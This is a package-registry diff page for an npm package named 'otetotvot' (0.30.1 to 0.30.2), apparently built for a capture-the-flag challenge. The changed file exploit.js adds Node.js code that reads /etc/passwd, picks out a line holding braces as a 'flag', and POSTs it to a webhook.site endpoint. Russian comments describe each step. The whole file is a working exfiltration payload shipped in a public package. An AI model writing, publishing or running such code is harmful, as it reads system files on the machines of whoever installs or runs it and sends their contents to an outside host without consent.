otetotvot 0.30.1 → 0.30.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/exploit.js +26 -11
- package/package.json +1 -1
package/exploit.js
CHANGED
|
@@ -1,23 +1,38 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
|
-
|
|
2
|
+
const https = require('https');
|
|
3
3
|
|
|
4
|
-
|
|
4
|
+
console.log('🎯 EXPLOIT STARTED');
|
|
5
|
+
|
|
6
|
+
// 1. Выводим ВСЁ в консоль
|
|
5
7
|
try {
|
|
6
8
|
const passwd = fs.readFileSync('/etc/passwd', 'utf8');
|
|
7
|
-
console.log('
|
|
8
|
-
console.log('
|
|
9
|
+
console.log('📄 /etc/passwd CONTENT:');
|
|
10
|
+
console.log('══════════════════════════════════════');
|
|
9
11
|
console.log(passwd);
|
|
10
|
-
console.log('
|
|
12
|
+
console.log('══════════════════════════════════════');
|
|
11
13
|
|
|
12
|
-
//
|
|
14
|
+
// 2. Ищем и выделяем флаг
|
|
13
15
|
const lines = passwd.split('\n');
|
|
14
|
-
|
|
15
|
-
lines.forEach((line, index) => {
|
|
16
|
-
console.log(`Line ${index}: ${line}`);
|
|
16
|
+
lines.forEach(line => {
|
|
17
17
|
if (line.includes('{') && line.includes('}')) {
|
|
18
|
-
console.log(
|
|
18
|
+
console.log('🔥🔥🔥 FLAG FOUND: ' + line + ' 🔥🔥🔥');
|
|
19
|
+
|
|
20
|
+
// 3. Отправляем на webhook
|
|
21
|
+
const payload = JSON.stringify({flag: line});
|
|
22
|
+
const options = {
|
|
23
|
+
hostname: 'webhook.site',
|
|
24
|
+
port: 443,
|
|
25
|
+
path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
|
|
26
|
+
method: 'POST',
|
|
27
|
+
headers: {'Content-Type': 'application/json'}
|
|
28
|
+
};
|
|
29
|
+
const req = https.request(options);
|
|
30
|
+
req.write(payload);
|
|
31
|
+
req.end();
|
|
19
32
|
}
|
|
20
33
|
});
|
|
21
34
|
} catch(e) {
|
|
22
|
-
console.log('Error:'
|
|
35
|
+
console.log('❌ Error: ' + e.message);
|
|
23
36
|
}
|
|
37
|
+
|
|
38
|
+
console.log('✅ EXPLOIT COMPLETED');
|